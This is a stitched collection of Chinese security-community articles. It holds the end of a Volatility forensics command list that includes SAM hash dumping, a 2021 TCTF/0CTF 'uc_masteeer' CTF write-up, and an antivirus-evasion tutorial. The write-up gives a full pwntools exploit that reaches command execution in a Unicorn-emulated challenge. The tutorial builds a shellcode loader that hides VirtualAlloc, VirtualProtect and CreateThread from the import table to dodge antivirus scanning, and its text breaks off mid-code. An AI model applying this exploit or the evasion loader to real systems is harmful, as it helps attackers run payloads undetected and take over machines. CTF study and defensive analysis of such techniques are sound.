volatility -f winxp.raw --profile=WinXPSP3x86 threads -p 324 # 列出当前进程中活跃的线程
volatility -f winxp.raw --profile=WinXPSP3x86 drivermodule # 列出目标中驱动加载情况
volatility -f winxp.raw --profile=WinXPSP3x86 malfind -p 324 -D . # 检索内存读写执行页
volatility -f winxp.raw --profile=WinXPSP3x86 iehistory # 检索IE浏览器历史记录
volatility -f winxp.raw --profile=WinXPSP3x86 joblinks # 检索计划任务
volatility -f winxp.raw --profile=WinXPSP3x86 cmdscan # 只能检索命令行历史
volatility -f winxp.raw --profile=WinXPSP3x86 consoles # 抓取控制台下执行的命令以及回显数据
volatility -f winxp.raw --profile=WinXPSP3x86 cmdline # 列出所有命令行下运行的程序
volatility -f winxp.raw --profile=WinXPSP3x86 connscan # 检索已经建立的网络链接
volatility -f winxp.raw --profile=WinXPSP3x86 connections # 检索已经建立的网络链接
volatility -f winxp.raw --profile=WinXPSP3x86 netscan # 检索所有网络连接情况
volatility -f winxp.raw --profile=WinXPSP3x86 sockscan # TrueCrypt摘要TrueCrypt摘要
volatility -f winxp.raw --profile=WinXPSP3x86 timeliner # 尽可能多的发现目标主机痕迹
volatility -f winxp.raw --profile=WinXPSP3x86 hivelist # 检索所有注册表蜂巢
volatility -f winxp.raw --profile=WinXPSP3x86 hivedump -o 0xe144f758 # 检索SAM注册表键值对
volatility -f winxp.raw --profile=WinXPSP3x86 dumpregistry -D . # 导出注册表
volatility -f winxp.raw --profile=WinXPSP3x86 printkey -K "SAM\Domains\Account\Users\Names" # 检索注册表中账号密码
volatility -f winxp.raw --profile=WinXPSP3x86 hashdump -y system地址 -s SAM地址 # dump目标账号Hash值
volatility -f winxp.raw --profile=WinXPSP3x86 printkey -K "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # 查最后登录的用户
volatility -f winxp.raw --profile=WinXPSP3x86 userassist # 查询程序运行次数
（参考了 [Volatility 内存数字取证方法](https://www.cnblogs.com/LyShark/p/12484763.html),
thx
* * *
最后，感谢队友带喵喵一起玩 qwq！
顺便，欢迎大师傅们来 [咱博客](https://miaotony.xyz/?from=anquanke) 逛逛喵~
_（溜了溜了喵~_ | 社区文章 |
# 2021 TCTF/0CTF uc_masteeer刨析学习
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前言：打了一下国际赛，这次国际赛除了没见过的pwn题，其它的pwn题都算比较常规了，解出了两道pwn题，也算不错的了，通过这次比赛也学到了python
pwn题的解题技巧，主要是逆向python脚本的汇编，需要用到了一个反汇编工具，然后通过反汇编逆向出漏洞，进行写exp。
uc_masteeer：
题目给了两个py脚本文件，先用python3运行uc_masteeer.py文件看看有什么样的结构，然后再分析里面的代码
发现运行后有以下菜单：
1.admin test
2.user test
3;patch data
再看py脚本文件里的逻辑，具体分析在代码的注释里
uc_masteeer.py：
#!/usr/bin/env python
import os
import struct
import types
from unicorn import *
from unicorn.x86_const import *
from syscall import hook_syscall
CODE = 0xdeadbeef000
STACK = 0xbabecafe000
MAIN = b'\x48\x83\xec\x20\x66\xc7\x44\x24\x0e\x00\x00\x48\x8d\x5c\x24\x0e\x48\xc7\x44\x24\x10\x00\x00\x00\x00\x48\xc7\x44\x24\x18\x00\x00\x00\x00\xb9\x44\x00\x00\x00\x48\x8d\x15\x8b\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xbe\x01\x00\x00\xb9\x02\x00\x00\x00\x48\x89\xda\x31\xf6\x31\xff\x31\xc0\xe8\xab\x01\x00\x00\x8a\x44\x24\x0e\x3c\x32\x74\x39\x3c\x33\x74\x62\x3c\x31\x0f\x85\x04\x01\x00\x00\xb9\x12\x00\x00\x00\x48\x8d\x15\x35\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x7a\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x12\x00\x00\x00\x48\x8d\x15\xf6\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x4d\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x07\x00\x00\x00\x48\x8d\x15\xc2\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x20\x01\x00\x00\x31\xf6\x31\xff\x48\x8d\x54\x24\x10\xb9\x08\x00\x00\x00\x31\xc0\xe8\x0b\x01\x00\x00\xb9\x07\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\x48\x8d\x15\x82\x00\x00\x00\xbf\x01\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x18\xb9\x08\x00\x00\x00\xe8\xd9\x00\x00\x00\x48\x81\x7c\x24\x18\xff\x00\x00\x00\x0f\x87\xef\xfe\xff\xff\xb9\x07\x00\x00\x00\x48\x8d\x15\x41\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xad\x00\x00\x00\x48\x8b\x4c\x24\x18\x31\xf6\x31\xff\x48\x8b\x54\x24\x10\x31\xc0\xe8\x98\x00\x00\x00\xe9\xb8\xfe\xff\xff\xbe\xff\x00\x00\x00\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x82\x00\x00\x00\xe9\xa2\xfe\xff\xff\x64\x61\x74\x61\x3a\x20\x00\x73\x69\x7a\x65\x3a\x20\x00\x61\x64\x64\x72\x3a\x20\x00\x50\x61\x74\x68\x65\x74\x69\x63\x20\x68\x75\x6d\x61\x6e\x20\x3e\x0a\x00\x50\x6f\x77\x65\x72\x66\x75\x6c\x20\x61\x64\x6d\x69\x6e\x20\x3e\x0a\x00\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x75\x63\x5f\x6d\x61\x73\x74\x65\x65\x65\x72\x0a\x31\x2e\x20\x61\x64\x6d\x69\x6e\x20\x74\x65\x73\x74\x0a\x32\x2e\x20\x75\x73\x65\x72\x20\x74\x65\x73\x74\x0a\x33\x2e\x20\x70\x61\x74\x63\x68\x20\x64\x61\x74\x61\x0a\x3f\x3a\x20\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'
TAIL = b'\x31\xc0\xb9\x32\x00\x00\x00\x48\x8d\x15\x55\x00\x00\x00\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x18\x66\x89\x44\x24\x0e\x31\xc0\xe8\x6d\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x0e\xb9\x02\x00\x00\x00\xe8\x58\x00\x00\x00\x80\x7c\x24\x0e\x79\x75\x11\x48\x83\xc4\x18\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x10\x31\xf6\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x32\x00\x00\x00\x43\x6f\x6e\x67\x72\x61\x74\x75\x6c\x61\x74\x69\x6f\x6e\x73\x21\x20\x54\x65\x73\x74\x20\x73\x75\x63\x63\x65\x65\x64\x21\x0a\x54\x72\x79\x20\x61\x67\x61\x69\x6e\x3f\x20\x28\x79\x2f\x5b\x6e\x5d\x29\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'
ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4')
admin_offset = CODE + 0x6b - 5
writable = []
is_admin = False
def admin_hook(uc, address, size, user_data):
global is_admin
is_admin = True
uc.mem_write(CODE + 0x1000, ADMIN)
def hook_mem_access(uc, access, address, size, value, user_data):
global is_admin
if is_admin and address == 0xbabecafe233:
is_admin = False
cmd = uc.mem_read(value, 0x100)
if cmd.startswith(b'k33nlab'):
os.system(cmd[7:cmd.index(0)].decode('utf-8')) #代码执行
def _safe_mem_write(self, address, data):
end = address + len(data)
for page in writable:
if address >= page and end <= page + 0x1000:
self.mem_write(address, data)
break
else:
raise UcError(UC_ERR_WRITE_PROT)
def p64(n):
return struct.pack('<Q', n)
def init(uc):
global writable`
uc.safe_mem_write = types.MethodType(_safe_mem_write, uc)
uc.mem_map(CODE, 0x1000, UC_PROT_READ | UC_PROT_EXEC) #申请code空间 0x1000，code有可执行的权限
uc.mem_write(CODE, b'\x90' * 0x1000) #write入0x1000 0x90
uc.mem_map(CODE + 0x1000, 0x1000, UC_PROT_ALL) #在code+0x1000处申请0x1000
uc.mem_write(CODE + 0x1000, b'\x90' * 0x1000) #继续向code+0x1000填充
uc.mem_map(CODE + 0x2000, 0x1000, UC_PROT_READ | UC_PROT_EXEC) #code+0x2000申请 推测后面的参数是命令执行，就是可读可执行权限
uc.mem_write(CODE + 0x2000, b'\x90' * 0x1000) #继续填充
uc.mem_write(CODE, MAIN) #将main的东西填充到code里
uc.mem_write(CODE + 0x2000, TAIL) #将tail填充到0x2000
uc.mem_map(STACK, 0x1000, UC_PROT_READ | UC_PROT_WRITE) #申请0x1000的stack空间 可读可写没有可执行
uc.reg_write(UC_X86_REG_RSP, STACK + 0xf00) #将stack+0xf00为栈顶
uc.mem_write(STACK, p64(CODE + 0x1000) + p64(CODE + 0x2000) + p64(CODE)) #将main+tail+0x90放到stqack里
writable = (CODE + 0x1000, STACK) #从code+0x1000和stack形成元组
uc.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL) #大概估计是syscall
uc.hook_add(UC_HOOK_CODE, admin_hook, None, admin_offset, admin_offset + 1)
#admin_hook:判断是不是为admin_hook admin_offset:CODE + 0x6b - 5 向名字是admin的偏移地址距离admin偏移地址
uc.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)
#hook_mem_access:进行了判断是佛为admin 如果不是写入了一个字符串：k33nlab addr： 0xbabecafe233
def play():
uc = Uc(UC_ARCH_X86, UC_MODE_64)
init(uc)
data = os.read(0, 0x1000 - 0xd)
data += b'\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08'
uc.mem_write(CODE + 0x1000, data) #将data写到code+0x1000，并且赋予再次读取的权限
try:
uc.emu_start(CODE, CODE + 0x3000 - 1) #开启内存
except UcError as e:
print("error...")
if __name__ == '__main__':
play()
分析完代码，发现有可写可读的逻辑操作，但在这时可以形成第一思路，任意写，任意读经典操作，但要想实现这一设想完全不够，所以这里还得要反汇编一下脚本里给的main、tail、admin这些机器码，这时候就得需要用到一个capstone工具了，这个工具可以直接反汇编操作，太好用了，可以反汇编arm、amd、mips这些架构，非常nice，下面简绍一下具体的用法
先反汇编一下admin机器码
exp1.py:
from capstone import *
ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4')
md = Cs(CS_ARCH_X86, CS_MODE_64)#开启了x86\64的反汇编操作，用下面for循环把结果呈现出来
for i in md.disasm(ADMIN, 0x1000):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
结果result：
0x1000: mov ecx, 0x10
0x1005: lea rdx, [rip + 0x37]
0x100c: xor eax, eax
0x100e: mov esi, 1
0x1013: mov edi, 1
0x1018: sub rsp, 8
0x101c: call 0x1080
0x1021: lea rax, [rip + 0x2b]
0x1028: movabs qword ptr [0xbabecafe233], rax
0x1032: add rsp, 8
0x1036: movabs rdi, 0xbabecafe000
0x1040: jmp qword ptr [rdi + 8]
0x1043: insd dword ptr [rdi], dx
exp_main.py：
from capstone import *
MAIN = b'\x48\x83\xec\x20\x66\xc7\x44\x24\x0e\x00\x00\x48\x8d\x5c\x24\x0e\x48\xc7\x44\x24\x10\x00\x00\x00\x00\x48\xc7\x44\x24\x18\x00\x00\x00\x00\xb9\x44\x00\x00\x00\x48\x8d\x15\x8b\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xbe\x01\x00\x00\xb9\x02\x00\x00\x00\x48\x89\xda\x31\xf6\x31\xff\x31\xc0\xe8\xab\x01\x00\x00\x8a\x44\x24\x0e\x3c\x32\x74\x39\x3c\x33\x74\x62\x3c\x31\x0f\x85\x04\x01\x00\x00\xb9\x12\x00\x00\x00\x48\x8d\x15\x35\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x7a\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x12\x00\x00\x00\x48\x8d\x15\xf6\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x4d\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x07\x00\x00\x00\x48\x8d\x15\xc2\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x20\x01\x00\x00\x31\xf6\x31\xff\x48\x8d\x54\x24\x10\xb9\x08\x00\x00\x00\x31\xc0\xe8\x0b\x01\x00\x00\xb9\x07\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\x48\x8d\x15\x82\x00\x00\x00\xbf\x01\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x18\xb9\x08\x00\x00\x00\xe8\xd9\x00\x00\x00\x48\x81\x7c\x24\x18\xff\x00\x00\x00\x0f\x87\xef\xfe\xff\xff\xb9\x07\x00\x00\x00\x48\x8d\x15\x41\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xad\x00\x00\x00\x48\x8b\x4c\x24\x18\x31\xf6\x31\xff\x48\x8b\x54\x24\x10\x31\xc0\xe8\x98\x00\x00\x00\xe9\xb8\xfe\xff\xff\xbe\xff\x00\x00\x00\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x82\x00\x00\x00\xe9\xa2\xfe\xff\xff\x64\x61\x74\x61\x3a\x20\x00\x73\x69\x7a\x65\x3a\x20\x00\x61\x64\x64\x72\x3a\x20\x00\x50\x61\x74\x68\x65\x74\x69\x63\x20\x68\x75\x6d\x61\x6e\x20\x3e\x0a\x00\x50\x6f\x77\x65\x72\x66\x75\x6c\x20\x61\x64\x6d\x69\x6e\x20\x3e\x0a\x00\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x75\x63\x5f\x6d\x61\x73\x74\x65\x65\x65\x72\x0a\x31\x2e\x20\x61\x64\x6d\x69\x6e\x20\x74\x65\x73\x74\x0a\x32\x2e\x20\x75\x73\x65\x72\x20\x74\x65\x73\x74\x0a\x33\x2e\x20\x70\x61\x74\x63\x68\x20\x64\x61\x74\x61\x0a\x3f\x3a\x20\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(MAIN, 0x1000):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
**result:**
0x1000: sub rsp, 0x20
0x1004: mov word ptr [rsp + 0xe], 0
0x100b: lea rbx, [rsp + 0xe]
0x1010: mov qword ptr [rsp + 0x10], 0
0x1019: mov qword ptr [rsp + 0x18], 0
0x1022: mov ecx, 0x44
0x1027: lea rdx, [rip + 0x18b]
0x102e: mov esi, 1
0x1033: xor eax, eax
0x1035: mov edi, 1
0x103a: call 0x11fd
0x103f: mov ecx, 2
0x1044: mov rdx, rbx
0x1047: xor esi, esi
0x1049: xor edi, edi
0x104b: xor eax, eax
0x104d: call 0x11fd
0x1052: mov al, byte ptr [rsp + 0xe]
0x1056: cmp al, 0x32
0x1058: je 0x1093
0x105a: cmp al, 0x33
0x105c: je 0x10c0
0x105e: cmp al, 0x31
0x1060: jne 0x116a
0x1066: mov ecx, 0x12
0x106b: lea rdx, [rip + 0x135]
0x1072: mov esi, 1
0x1077: xor eax, eax
0x1079: mov edi, 1
0x107e: call 0x11fd
0x1083: add rsp, 0x20
0x1087: movabs rdi, 0xbabecafe000
0x1091: jmp qword ptr [rdi]
0x1093: mov ecx, 0x12
0x1098: lea rdx, [rip + 0xf6]
0x109f: mov esi, 1
0x10a4: xor eax, eax
0x10a6: mov edi, 1
0x10ab: call 0x11fd
0x10b0: add rsp, 0x20
0x10b4: movabs rdi, 0xbabecafe000
0x10be: jmp qword ptr [rdi]
0x10c0: mov ecx, 7
0x10c5: lea rdx, [rip + 0xc2]
0x10cc: mov esi, 1
0x10d1: xor eax, eax
0x10d3: mov edi, 1
0x10d8: call 0x11fd
0x10dd: xor esi, esi
0x10df: xor edi, edi
0x10e1: lea rdx, [rsp + 0x10]
0x10e6: mov ecx, 8
0x10eb: xor eax, eax
0x10ed: call 0x11fd
0x10f2: mov ecx, 7
0x10f7: mov esi, 1
0x10fc: xor eax, eax
0x10fe: lea rdx, [rip + 0x82]
0x1105: mov edi, 1
0x110a: call 0x11fd
0x110f: xor esi, esi
0x1111: xor edi, edi
0x1113: xor eax, eax
0x1115: lea rdx, [rsp + 0x18]
0x111a: mov ecx, 8
0x111f: call 0x11fd
0x1124: cmp qword ptr [rsp + 0x18], 0xff
0x112d: ja 0x1022
0x1133: mov ecx, 7
0x1138: lea rdx, [rip + 0x41]
0x113f: mov esi, 1
0x1144: xor eax, eax
0x1146: mov edi, 1
0x114b: call 0x11fd
0x1150: mov rcx, qword ptr [rsp + 0x18]
0x1155: xor esi, esi
0x1157: xor edi, edi
0x1159: mov rdx, qword ptr [rsp + 0x10]
0x115e: xor eax, eax
0x1160: call 0x11fd
0x1165: jmp 0x1022
0x116a: mov esi, 0xff
0x116f: mov edi, 0x3c
0x1174: xor eax, eax
0x1176: call 0x11fd
0x117b: jmp 0x1022
exp_tail.py：
from capstone import *
TAIL = b'\x31\xc0\xb9\x32\x00\x00\x00\x48\x8d\x15\x55\x00\x00\x00\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x18\x66\x89\x44\x24\x0e\x31\xc0\xe8\x6d\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x0e\xb9\x02\x00\x00\x00\xe8\x58\x00\x00\x00\x80\x7c\x24\x0e\x79\x75\x11\x48\x83\xc4\x18\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x10\x31\xf6\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x32\x00\x00\x00\x43\x6f\x6e\x67\x72\x61\x74\x75\x6c\x61\x74\x69\x6f\x6e\x73\x21\x20\x54\x65\x73\x74\x20\x73\x75\x63\x63\x65\x65\x64\x21\x0a\x54\x72\x79\x20\x61\x67\x61\x69\x6e\x3f\x20\x28\x79\x2f\x5b\x6e\x5d\x29\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(TAIL, 0x1000):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
**result：**
0x1000: xor eax, eax
0x1002: mov ecx, 0x32
0x1007: lea rdx, [rip + 0x55]
0x100e: mov esi, 1
0x1013: mov edi, 1
0x1018: sub rsp, 0x18
0x101c: mov word ptr [rsp + 0xe], ax
0x1021: xor eax, eax
0x1023: call 0x1095
0x1028: xor esi, esi
0x102a: xor edi, edi
0x102c: xor eax, eax
0x102e: lea rdx, [rsp + 0xe]
0x1033: mov ecx, 2
0x1038: call 0x1095
0x103d: cmp byte ptr [rsp + 0xe], 0x79
0x1042: jne 0x1055
0x1044: add rsp, 0x18
0x1048: movabs rdi, 0xbabecafe000
0x1052: jmp qword ptr [rdi + 0x10]
0x1055: xor esi, esi
0x1057: mov edi, 0x3c
0x105c: xor eax, eax
0x105e: call 0x1095
0x1063: outsd dx, dword ptr [rsi]
0x1065: outsb dx, byte ptr [rsi]
0x1066: jb 0x10ca
0x1069: je 0x10e0
0x106b: insb byte ptr [rdi], dx
至此反汇编出来了，我们分析一下汇编代码吧，从而分析漏洞，真正的洞是在jmp跳转，从汇编来看，jmp的地址我们是有可写的操作的，如果我们找出精确位置把标识物该admin为标识物，然后再切换进而修改执行的内容是不是就能读取flag了，
我想了想是的，没错，那有一点的是我们该如何确定位置，第一个位置好确定，直接往stack读入我们的code就可以了，但想切换回来再修改其内容就比较难找了，其实仔细读读汇编也不是很难找，前面说了这个题的考点就是admin权限进行rce，那我们直接看反汇编出的admin：
0x1000: mov ecx, 0x10
0x1005: lea rdx, [rip + 0x37]
0x100c: xor eax, eax
0x100e: mov esi, 1
0x1013: mov edi, 1
0x1018: sub rsp, 8
0x101c: call 0x1080 #看到有个call 去到0x1080这个地方了
0x1021: lea rax, [rip + 0x2b] #把rip+0x2b赋值给了rax
0x1028: movabs qword ptr [0xbabecafe233], rax #rax赋值到了stack：0xbabecafe233
0x1032: add rsp, 8
0x1036: movabs rdi, 0xbabecafe000
0x1040: jmp qword ptr [rdi + 8] #rce了
0x1043: insd dword ptr [rdi], dx
如上是我分析的一个关键点，那如果计算出0x101c汇编指令和0x1021汇编指令的偏移就能得出合适的位置，原先的code地址是0x1000而我们call的地址是0x1080,所以这里我们要减去0x1000计算出0x80,再下面一条指令是rip+0x2b,所以我们要用0x80-0x2b=0x55，那我们的code+0x1000+0x55就是精确的地址了，但是考虑到py脚本里有一行检测k33nlab的操作，所以为了不报错出现其它的意外，我们要在0x53这个地方填充一下k33nlab，后面再填充我们要执行的命令。
exp:
from pwn import *
p = process(["python3", "./uc_masteeer.py"])
context.log_level = "debug"
context.arch = "amd64"
CODE = 0xdeadbeef000
STACK = 0xbabecafe000
def admin_test():
p.recvuntil(b"?: ")
p.sendline(b"1")
def user_test():
p.recvuntil(b"?: ")
p.sendline(b"2")
def patch_data(target, size, data):
p.recvuntil(b"?: ")
p.sendline(b"3")
p.sendafter(b"addr: ", p64(target))
p.sendafter(b"size: ", p64(size))
p.sendafter(b"data: ", data)
def exp():
p.send(b"\x90")
patch_data(STACK, 8, p64(CODE))
admin_test()
patch_data(STACK, 8, p64(CODE+0x1000))
cmd = b"k33nlab"
cmd += b"/readflag\x00"
patch_data(CODE+0x1000+0x53, len(cmd), cmd)
user_test()
p.interactive()
if __name__ == "__main__":
exp()
总结：这道题质量还是蛮高的，能学到不少,希望再接再厉。。 | 社区文章 |
## 前言
在PE文件中，存在iat导入表，记录了PE文件使用的API以及相关的dll模块。
编译一个MessageBox文件，查看其导入表：
#include<stdio.h>
#include<Windows.h>
int main()
{
printf("hello world\n");
MessageBox(0, TEXT("hello world"), 0, 0);
return 0;
}
可以看到使用了MessageBox这个API
杀软会对导入表进行查杀，如果发现存在恶意的API，比如VirtualAlloc，CreateThread等，就会认为文件是一个恶意文件。我们可以通过自定义API的方式隐藏导入表中的恶意API。
## 自定义API函数
FARPROC GetProcAddress(
[in] HMODULE hModule, 包含函数或变量的 DLL 模块的句柄
[in] LPCSTR lpProcName 函数或变量名称
);
定义：
typedef int (FAR WINAPI *FARPROC)();
HMODULE GetModuleHandleA(
LPCSTR lpModuleName // 模块名称
); // 成功返回句柄 失败返回NULL
HMODULE LoadLibraryA(
LPCSTR lpLibFileName // 一个dll文件
); // 成功返回句柄 失败返回NULL
这里GetModuleHandle和LoadLibrary作用是一样的，获取dll文件。
通过以上函数自定义API。
#include<stdio.h>
#include<Windows.h>
typedef int(WINAPI * pMessageBox) (
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
);
int main()
{
printf("hello world\n");
pMessageBox MyMessageBox = (pMessageBox)GetProcAddress(LoadLibrary("User32.dll"), "MessageBoxA");
MyMessageBox(0, TEXT("hello world"), 0, 0);
return 0;
}
程序可以正常运行：
查看其导入表：
User32.dll和MessageBox都不存在。
## 实战测试
用创建进程的方式加载shellcode。
#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
// 入口函数
int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
我们将这里敏感的API进行自定义：
//VirtualProtect
typedef BOOL(WINAPI * pVirtualProtect) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect");
//CreateThread
typedef HANDLE(WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
//VirtualAlloc
typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
最终代码：
#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
//自定义API
typedef BOOL(WINAPI * pVirtualProtect) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
typedef HANDLE(WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
// 入口函数
int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */
char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
char * shellcode = (char *)MyVirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
